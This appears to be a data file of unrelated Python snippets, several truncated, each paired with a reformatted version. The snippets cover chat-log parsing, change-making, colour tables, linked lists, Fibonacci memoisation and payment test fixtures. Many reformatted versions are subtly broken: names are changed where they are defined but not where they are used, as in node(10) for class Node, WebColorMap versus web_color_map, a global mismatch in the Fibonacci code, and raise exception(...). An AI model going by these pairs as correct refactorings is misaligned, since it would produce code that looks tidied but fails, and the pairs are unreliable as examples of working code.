#! /usr/bin/env python2 # Arsh Chauhan # 09/12/2016 # saltybet_parser.py: Read a chat log of the salty bet twitch chat and return macthes and winners # Based on chat logger created by Mike Moss (https://github.com/mrmoss/saltybet_tracker) #TO DO: Parse data into a DB to be able to run analytics def parseSalty(fileN...
def parse_salty(fileName): log_file = open(fileName, 'r') for line in logFile: bets_open = line.find('Bets are OPEN for') if betsOpen != -1: bets_open = betsOpen + len('Bets are OPEN for') player_one_name_start = betsOpen vs_index = line.find('vs') ...
valor = int(input("informe o valor a ser sacado : ")) nota50 = valor // 50 valor %= 50 nota20 = valor // 20 valor %= 20 nota10 = valor // 10 valor %= 10 nota1 = valor // 1 print(f"notas de 50 = {nota50}") print(f"notas de 20 = {nota20}") print(f"notas de 10 = {nota10}") print(f"notas de 1 = {nota1}")
valor = int(input('informe o valor a ser sacado : ')) nota50 = valor // 50 valor %= 50 nota20 = valor // 20 valor %= 20 nota10 = valor // 10 valor %= 10 nota1 = valor // 1 print(f'notas de 50 = {nota50}') print(f'notas de 20 = {nota20}') print(f'notas de 10 = {nota10}') print(f'notas de 1 = {nota1}')
class Line(): def __init__(self, line_no, text, relative_no=-1): self.line_no = line_no self.text = text self.relative_no = line_no if relative_no == -1 else relative_no class DiffContent(): def __init__(self, file_path, contents=()): self.file_path = file_path self.c...
class Line: def __init__(self, line_no, text, relative_no=-1): self.line_no = line_no self.text = text self.relative_no = line_no if relative_no == -1 else relative_no class Diffcontent: def __init__(self, file_path, contents=()): self.file_path = file_path self.conten...
SUPPORTED_VERSIONS = [ # Previous versions "v0.1.0", # 2021-09-08 21:42:10.039203 "v0.1.1", # 2021-09-15 21:44:53.700238 "v0.1.2", # 2021-09-26 18:30:06.899116 "v0.1.3", # 2021-10-30 20:49:39.892464 "v0.2.0-rc1", # 2021-11-14 21:58:30.836730 # Current version "v0.2.0-...
supported_versions = ['v0.1.0', 'v0.1.1', 'v0.1.2', 'v0.1.3', 'v0.2.0-rc1', 'v0.2.0-rc2'] previous_version = SUPPORTED_VERSIONS[-2] current_version = SUPPORTED_VERSIONS[-1]
class MissingState(Exception): def __init__(self, expr, msg): self.expr = expr self.msg = msg def __str__(self): return self.msg class MissingConfigItem(Exception): def __init__(self, expr, msg): self.expr = expr self.msg = msg def __str__(self): r...
class Missingstate(Exception): def __init__(self, expr, msg): self.expr = expr self.msg = msg def __str__(self): return self.msg class Missingconfigitem(Exception): def __init__(self, expr, msg): self.expr = expr self.msg = msg def __str__(self): retu...
''' Created on 25.01.2021 @author: steph ''' class LivestreamModel(object): def __init__(self): self.id = 0 self.title = '' self.image = '' self.url = '' self.description = '' def init(self, pId, pTitle, pImage, pUrl, pDescription): self.id = pId self...
""" Created on 25.01.2021 @author: steph """ class Livestreammodel(object): def __init__(self): self.id = 0 self.title = '' self.image = '' self.url = '' self.description = '' def init(self, pId, pTitle, pImage, pUrl, pDescription): self.id = pId self....
class ColorNames: WebColorMap = {} WebColorMap["Alice Blue"] = "#F0F8FF" WebColorMap["Antique White"] = "#FAEBD7" WebColorMap["Aqua"] = "#00FFFF" WebColorMap["Aquamarine"] = "#7FFFD4" WebColorMap["Azure"] = "#F0FFFF" WebColorMap["Beige"] = "#F5F5DC" WebColorMap["Bisque"] = "#FFE4C4" ...
class Colornames: web_color_map = {} WebColorMap['Alice Blue'] = '#F0F8FF' WebColorMap['Antique White'] = '#FAEBD7' WebColorMap['Aqua'] = '#00FFFF' WebColorMap['Aquamarine'] = '#7FFFD4' WebColorMap['Azure'] = '#F0FFFF' WebColorMap['Beige'] = '#F5F5DC' WebColorMap['Bisque'] = '#FFE4C4' ...
'''Player class to record stats for individual players ''' class Player: '''Dosctring TODO THIS IS NOT A VERY GENERALIZABLE MODEL IF YOU KNOW THINGS ABOUT FOOTBALL and that's okay ''' def __init__(self, name=None, yards=0, touchdowns=0, safety=0, interceptions=0, field_goals=0): ...
"""Player class to record stats for individual players """ class Player: """Dosctring TODO THIS IS NOT A VERY GENERALIZABLE MODEL IF YOU KNOW THINGS ABOUT FOOTBALL and that's okay """ def __init__(self, name=None, yards=0, touchdowns=0, safety=0, interceptions=0, field_goals=0): self.name ...
N, M = map(int, input().split()) graph = [[] for _ in range(N)] E = [list(map(lambda x: int(x)-1, input().split())) for _ in range(M)] for u, v in E: graph[u].append(v) graph[v].append(u) town = [0 for _ in range(N)] def dfs(fr, n): for to in graph[fr]: if town[to] == 0: town[to] = n ...
(n, m) = map(int, input().split()) graph = [[] for _ in range(N)] e = [list(map(lambda x: int(x) - 1, input().split())) for _ in range(M)] for (u, v) in E: graph[u].append(v) graph[v].append(u) town = [0 for _ in range(N)] def dfs(fr, n): for to in graph[fr]: if town[to] == 0: town[to] ...
def make_input_output(source_tokens, target_tokens, reverse_source=True): if reverse_source: source_tokens = list(reversed(source_tokens)) input_tokens = source_tokens + [GO] + target_tokens output_tokens = target_tokens + [EOS] return input_tokens, output_tokens
def make_input_output(source_tokens, target_tokens, reverse_source=True): if reverse_source: source_tokens = list(reversed(source_tokens)) input_tokens = source_tokens + [GO] + target_tokens output_tokens = target_tokens + [EOS] return (input_tokens, output_tokens)
myl1 = [10,11,14,17,19,20,14,35,14] print(myl1.count(14)) # CO1 myl2 = ['c','o','r','o','n','a','w','a','r','r','i','o','r','s'] print(myl2.count('r')) # CO2
myl1 = [10, 11, 14, 17, 19, 20, 14, 35, 14] print(myl1.count(14)) myl2 = ['c', 'o', 'r', 'o', 'n', 'a', 'w', 'a', 'r', 'r', 'i', 'o', 'r', 's'] print(myl2.count('r'))
def Courses(): courses = [ { 'id' : 1, 'title' : 'Learn AJax', 'body' : 'Lorem Ipsum dolor sit amet', 'category' : 'Web Development' }, { 'id' : 2, 'title' : 'Learn Angularjs', 'body' : 'Lorem Ipsum dolor sit amet', 'category' : 'Web Development' }, { 'id' : 3, 'title' : 'Learn ...
def courses(): courses = [{'id': 1, 'title': 'Learn AJax', 'body': 'Lorem\tIpsum dolor sit amet', 'category': 'Web Development'}, {'id': 2, 'title': 'Learn Angularjs', 'body': 'Lorem\tIpsum dolor sit amet', 'category': 'Web Development'}, {'id': 3, 'title': 'Learn Angular Material', 'body': 'Lorem\tIpsum dolor sit ...
class VirtualHelixItemController(): def __init__(self, virtualhelix_item, model_virtual_helix): self._virtual_helix_item = virtualhelix_item self._model_virtual_helix = model_virtual_helix self.connectSignals() # end def def connectSignals(self): vh_item = self._virtual_heli...
class Virtualhelixitemcontroller: def __init__(self, virtualhelix_item, model_virtual_helix): self._virtual_helix_item = virtualhelix_item self._model_virtual_helix = model_virtual_helix self.connectSignals() def connect_signals(self): vh_item = self._virtual_helix_item ...
def write_to_file(file, data): with open(file, 'a') as file: print(data) file.write(str(data)) def read_from_file(file): with open(file, 'r') as file: lines = file.readlines() print("Usernames & password") for line in lines: print(f'{line}') ...
def write_to_file(file, data): with open(file, 'a') as file: print(data) file.write(str(data)) def read_from_file(file): with open(file, 'r') as file: lines = file.readlines() print('Usernames & password') for line in lines: print(f'{line}') return li...
# Week-10 Challe latter1 = input("Enter first Latter in Your Name: ") latter2 = input("Enter Last Latter in Your Name: ") print("First Latter is {}".format(latter1), "Scocend Latter is {}".format(latter2) ) print("-----") print("-----") my_palance = "Dear {}, Your current balance is {}{}" name = "Mohammed Asmri" palan...
latter1 = input('Enter first Latter in Your Name: ') latter2 = input('Enter Last Latter in Your Name: ') print('First Latter is {}'.format(latter1), 'Scocend Latter is {}'.format(latter2)) print('-----') print('-----') my_palance = 'Dear {}, Your current balance is {}{}' name = 'Mohammed Asmri' palance = 53.44 currency...
# Dictionary to store calculated fibonacci terms to save computational time while computing larger fibonacci terms. aDict = { # 1st and 2nd term in fibonacci series is 0 and 1 respectively 1: 0, 2: 1 } numFibCalls = 0 def fibonacci_efficient(n, aDict): global numFibCalls numFibCalls += 1 if n ...
a_dict = {1: 0, 2: 1} num_fib_calls = 0 def fibonacci_efficient(n, aDict): global numFibCalls num_fib_calls += 1 if n in aDict: return aDict[n] else: ans = fibonacci_efficient(n - 1, aDict) + fibonacci_efficient(n - 2, aDict) aDict[n] = ans return ans n = int(input('What...
for i in range(int(input("How many numbers do you want to be in your list?"))): nums= [input("What list of numbers do you want to sort using the power of BUBBLES? Here's a number:")] to_sort=[nums] for i in range(0, len(to_sort)): for j in range (i+1, len(to_sort)): if to_sort[i]> to_sort[j]: ...
for i in range(int(input('How many numbers do you want to be in your list?'))): nums = [input("What list of numbers do you want to sort using the power of BUBBLES? Here's a number:")] to_sort = [nums] for i in range(0, len(to_sort)): for j in range(i + 1, len(to_sort)): if to_sort[i] > to_sort[j]: ...
cp_file = file(simenv.checkpoint_name, "r") cp_lines = [] common_lines = [] in_common = False for line in cp_file: if line == "OBJECT common TYPE common {\n": in_common = True if in_common: common_lines.append(line) if line == "}\n": in_common = False else: cp_lines.append(lin...
cp_file = file(simenv.checkpoint_name, 'r') cp_lines = [] common_lines = [] in_common = False for line in cp_file: if line == 'OBJECT common TYPE common {\n': in_common = True if in_common: common_lines.append(line) if line == '}\n': in_common = False else: cp_lin...
# currying_chain.py def construct_module_declaration( subsequent_module_name: str, number_of_input: int, chain_len: int, common_in: str ) -> str: '''Declares the module with its name and appropriate number of input and output wires''' module_declaration = 'module {}(input '.format(sub...
def construct_module_declaration(subsequent_module_name: str, number_of_input: int, chain_len: int, common_in: str) -> str: """Declares the module with its name and appropriate number of input and output wires""" module_declaration = 'module {}(input '.format(subsequent_module_name) for i in range(numb...
_base_ = [ '../_base_/models/cgnet.py', '../_base_/datasets/cityscapes_Non-semantic_1-to-1.py', '../_base_/default_runtime.py' ] # optimizer optimizer = dict(type='Adam', lr=0.001, eps=1e-08, weight_decay=0.0005) optimizer_config = dict() # learning policy lr_config = dict(policy='poly', power=0.9, min_lr=...
_base_ = ['../_base_/models/cgnet.py', '../_base_/datasets/cityscapes_Non-semantic_1-to-1.py', '../_base_/default_runtime.py'] optimizer = dict(type='Adam', lr=0.001, eps=1e-08, weight_decay=0.0005) optimizer_config = dict() lr_config = dict(policy='poly', power=0.9, min_lr=0.0001, by_epoch=False) runner = dict(type='I...
def unique(collect): if not collect: return False setarr = set(collect) key = len(collect) == len(setarr) return key
def unique(collect): if not collect: return False setarr = set(collect) key = len(collect) == len(setarr) return key
# # Copyright Cloudlab URV 2020 # # Licensed under the Apache License, Version 2.0 (the 'License'); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writin...
def load_config(config_data=None): if 'aws' not in config_data and 'aws_s3' not in config_data: raise exception("'aws' and 'aws_s3' sections are mandatory in the configuration") required_parameters_0 = ('access_key_id', 'secret_access_key') if not set(required_parameters_0) <= set(config_data['aws']...
#code def rotatedindex(array, x): for i in range(0,n): if(x==array[i]): return i return -1 if __name__ == "__main__": t = int(input()) arr=[] for j in range(0,t): n = int(input()) list1 = list(map(int, input().split()[:n])) x = int(input()) result = rota...
def rotatedindex(array, x): for i in range(0, n): if x == array[i]: return i return -1 if __name__ == '__main__': t = int(input()) arr = [] for j in range(0, t): n = int(input()) list1 = list(map(int, input().split()[:n])) x = int(input()) result =...
# iDrac, OME ==========> Terraform, Nagios, Ansible, xeonss ... # (delay, backlog, latest features not available) # (understanding standards, hardcoded expressions) # +ves of redfish standard: Clear definitions, clear interpretation, # still nuances exist # Solution: [consumptions] | [python redfish bindings] |...
def info(): message = 'Examples folder'
def CallPluginFunctions (_Plugins, _Function, *_Args): for Plugin in _Plugins: if _Function in dir (Plugin): Method = getattr (Plugin, _Function) if _Args: Method (*_Args) else: Method ()
def call_plugin_functions(_Plugins, _Function, *_Args): for plugin in _Plugins: if _Function in dir(Plugin): method = getattr(Plugin, _Function) if _Args: method(*_Args) else: method()
def valid_card_req(): return { "number": "4242424242424242", "expMonth": "12", "expYear": "2055", "cvc": "123", "cardholderName": "Python Test", } def disputed_card_req(): return { "number": "4242000000000018", "expMonth": "12", "expYear": "2...
def valid_card_req(): return {'number': '4242424242424242', 'expMonth': '12', 'expYear': '2055', 'cvc': '123', 'cardholderName': 'Python Test'} def disputed_card_req(): return {'number': '4242000000000018', 'expMonth': '12', 'expYear': '2055', 'cvc': '123', 'cardholderName': 'Python Test'} def fraud_warning_c...
while True: try: n = int(input()) starting = list(map(int, input().split()))[:n] ending = list(map(int, input().split()))[:n] cmp = [0] * n for i in range(n): for j in range(n): if starting[i] == ending[j]: cmp[j] = i...
while True: try: n = int(input()) starting = list(map(int, input().split()))[:n] ending = list(map(int, input().split()))[:n] cmp = [0] * n for i in range(n): for j in range(n): if starting[i] == ending[j]: cmp[j] = i + 25 ...
class Utils: @staticmethod def contains(needle, haystack, search_type='contains', options=[]): if not type(needle) == list: needle = [needle] if 'lowercase' in options: needle = [x.lower() for x in needle] haystack = haystack.lower() if type(haystack)...
class Utils: @staticmethod def contains(needle, haystack, search_type='contains', options=[]): if not type(needle) == list: needle = [needle] if 'lowercase' in options: needle = [x.lower() for x in needle] haystack = haystack.lower() if type(haystack)...
# Copyright (c) 2014 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. { 'targets': [ { 'target_name': 'test_targetfilename_executable', 'type': 'executable', 'sources': ['hello.cc'], 'msvs_setti...
{'targets': [{'target_name': 'test_targetfilename_executable', 'type': 'executable', 'sources': ['hello.cc'], 'msvs_settings': {'VCLinkerTool': {'OutputFile': '$(TargetDir)\\$(TargetFileName)'}}}, {'target_name': 'test_targetfilename_loadable_module', 'type': 'loadable_module', 'sources': ['hello.cc'], 'msvs_settings':...
__title__ = 'efinance' __version__ = '0.3.6' __author__ = 'micro sheep' __url__ = 'https://github.com/Micro-sheep/efinance' __author_email__ = 'micro-sheep@outlook.com' __keywords__ = ['finance', 'quant', 'stock', 'fund', 'futures'] __description__ = 'A finance tool to get stock,fund and futures data base on eastmoney'...
__title__ = 'efinance' __version__ = '0.3.6' __author__ = 'micro sheep' __url__ = 'https://github.com/Micro-sheep/efinance' __author_email__ = 'micro-sheep@outlook.com' __keywords__ = ['finance', 'quant', 'stock', 'fund', 'futures'] __description__ = 'A finance tool to get stock,fund and futures data base on eastmoney'...
def main(): a = int(input()) b = int(input()) if a >0 and b > 0: ans = 1 elif a > 0 and b < 0: ans = 4 elif a < 0 and b > 0: ans = 2 else: ans = 3 print(ans) return if __name__ == "__main__": main()
def main(): a = int(input()) b = int(input()) if a > 0 and b > 0: ans = 1 elif a > 0 and b < 0: ans = 4 elif a < 0 and b > 0: ans = 2 else: ans = 3 print(ans) return if __name__ == '__main__': main()
def solve(): # No need for fancy math here, just solve directly ans = sum(x for x in range(1000) if (x % 3 == 0 or x % 5 == 0)) return str(ans) if __name__ == "__main__": print(solve())
def solve(): ans = sum((x for x in range(1000) if x % 3 == 0 or x % 5 == 0)) return str(ans) if __name__ == '__main__': print(solve())
# name = input("Enter your name ?").strip() # print(len(name)) # print(name) print(" hello python world".strip()) print(" hello python world ".rstrip())
print(' hello python world'.strip()) print(' hello python world '.rstrip())
class Node: def __init__(self, data) -> None: self.data = data self.next = None node1 = Node(10) node2 = Node(20) node3 = Node(30) head = node1 node1.next = node2 node2.next = node3 class LinkedList: def __init__(self, data) -> None: self.head = Node(data) def insertEnd(self,...
class Node: def __init__(self, data) -> None: self.data = data self.next = None node1 = node(10) node2 = node(20) node3 = node(30) head = node1 node1.next = node2 node2.next = node3 class Linkedlist: def __init__(self, data) -> None: self.head = node(data) def insert_end(self, da...
#! python3 print('Enter the first number to add:') first = input() print('Enter the second number to add:') second = input() print('Enter the third number to add:') third = input() print('The sum is ' + first + second + third)
print('Enter the first number to add:') first = input() print('Enter the second number to add:') second = input() print('Enter the third number to add:') third = input() print('The sum is ' + first + second + third)